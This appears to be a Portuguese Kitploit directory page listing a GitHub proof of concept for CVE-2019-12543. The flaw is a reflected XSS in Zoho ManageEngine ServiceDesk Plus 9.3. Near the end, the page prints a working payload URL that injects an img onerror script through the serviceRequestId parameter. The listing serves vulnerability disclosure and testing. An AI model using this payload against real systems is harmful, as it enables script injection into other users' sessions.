Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

Diretório de Ferramentas

Categorias

Ver todas as categorias

Loading categories

Ferramentas/

GitHub/tarantula-team/cve-2019-12543

Análise de Vulnerabilidades Exploração de Aplicações Web Coleta de Informações Segurança Web Testes de Penetração

tarantula-team/cve-2019-12543

CVE-2019-12543

Prova de conceito de exploit XSS para Zoho ManageEngine ServiceDesk Plus 9.3 através do parâmetro serviceRequestId do PurchaseRequest.do, demonstrando vulnerabilidade de cross-site scripting refletida.

Ver Repositório

2há 6 anos

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

CVE-2019-12543 Zoho ManageEngine ServiceDesk Plus 9.3 Vulnerabilidade XSS no PurchaseRequest.do

Informação Descrição: Foi descoberto um problema no Zoho ManageEngine ServiceDesk Plus 9.3. Existe XSS através do parâmetro serviceRequestId no PurchaseRequest.do.

Autor: Concobe da Tarantula Team - VinCSS (um membro da Vingroup)

Payload

domain/PurchaseRequest.do?operation=getAssociatedPrsForSR&serviceRequestId=1%3Cimg%20src%3da%20onerror%3dalert(%27XSS%27)%3E1

Baixar ferramenta